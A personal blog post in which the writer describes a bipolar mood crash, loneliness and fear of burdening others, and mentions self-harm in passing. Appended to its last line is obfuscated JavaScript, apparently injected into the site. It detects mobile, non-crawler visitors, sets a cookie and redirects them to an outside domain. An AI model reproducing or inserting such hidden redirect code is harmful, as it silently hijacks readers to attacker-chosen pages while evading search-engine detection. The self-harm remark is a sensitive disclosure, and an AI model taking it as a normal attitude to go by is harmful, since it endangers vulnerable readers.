Unrefined Bipolar Musings

Hey all,

******pre rant warning******
My moods have been especially erratic and brooding and dark these past few days. It’s times like this that I miss the meds and the placebo effect they have. (It’s funny how the mind plays tricks)
I’m just falling again. Desire to change everything and nothing is rampant and impossible. My mind is racing and incoherent. You have been warned. Do not expect things to follow any kind of plan. Yay bipolar crazy mood swings!
******end rant******

Have you ever wanted something you know you really can’t have?

And when that realization finally hits you in the face like a Mike Tyson right cross with barbed wire boxing gloves, do you have the strength to follow through and walk away? Does it make you pathetic if you still cannot walk away? Does it mean that this feeling is all I deserve to know, due to my unwillingness to take that first step?

I’ll confess to you why I cannot do it. Or if I give up on it, then it might as well have never been. Then what does that make me? And all the amazing feelings I never imagined I could feel, and how they made me feel not quite so broken… If I give up on all that, then I’m choosing to forget all those wonderful things. I’m afraid. That if I give up, then I might forget how it feels. To belong. To be happy or even remotely content.

I’ll tell you, it’s so much easier to give someone else objective advice than to follow what I know I should do, mostly for my own sake.

Brings back memories of awkward conversations at parties, with people whom I have no idea how to really interact. You see, I’ve always been strange in social circumstances. At least sober.

I’m not a really “cliquish” type of person, There’s usually one person that I gravitate to, who I feel I relate to the most, and kind of stick to throughout the whole thing.

Herein lies the problem. I tend to think I’m a boring person to know. I know I’ve lived a bunch and have plenty of “stories” to tell, but I really just want to just talk.

I can’t stand it, I feel like my brain is racing and I’m burning out. I feel like a jigsaw puzzle that’s missing a piece. It’s a horrible feeling, to feel alone in the world. It’s something I can’t quite describe. I can find the words just fine, but it just doesn’t do it justice.

I want to be someone else. But I know that’s impossible…

I want to turn off that clingy part of me, the part of me that allows something like genuine affection to creep in and ruin my fucking life. But I know that’s impossible… I want to be normal. To feel normal.

I want to be carefree. I want to be able to wake up every morning and not hate the fact that I wake up and nothing is different. It’s no way to live, feeling nothing but regret from the moment you open your eyes. I hate feeling that I can’t talk to anyone about how I feel. I hate feeling that I’m whining and that it’s a burden to share my feelings with people. I hate that just when things start improving and I start feeling a little better, moods like this kick my face in. It’s like my brain is conspiring against me. It makes me feel that I’ll never be happy. Seriously, How can I be, when my body is out to fuck with me? I can’t take it easy, not deep down anyways. Not without marijuana.

I hate my envious, obsessive nature. I hate that I can’t ever have something simple that’s mine. I hate that even now, I have to wear a mask to “blend in” with everyone else. I can only think of a few ways to make all this go away. But I care too much. And I’m not going to hurt anyone else. Im fine with self harm, but I refuse to take this out on anyone else. No one deserves to see this side of me, nor would they want to.

Hell if I hate it, so how can anyone (friends/girlfriends/family) care enough to listen?

You know when you’re upset and when someone asks you what’s wrong, you reply “nothing it’s okay” or something similar. And they let it go. And all you wanted was someone to care enough to push you to talk about it? That’s how I feel all the time.

I know I’m not good at hiding my feelings. I know I’m pretty easy to read when I lower my guard or the feelings are especially strong. So does it mean I’m not worth it?… or does the stigma of mental health scare people away? It feels like people don’t really want to know how I’m doing… They just want me to smile and say “Good Thanks”

I’ll tell you what I hate especially… That the only way I can share all this is to write it in a fucking blog.

Till next time…

Ps: I know I shouldn’t post this. But it’ll be a nice reminder for me. And something else to be embarrassed about. Yay!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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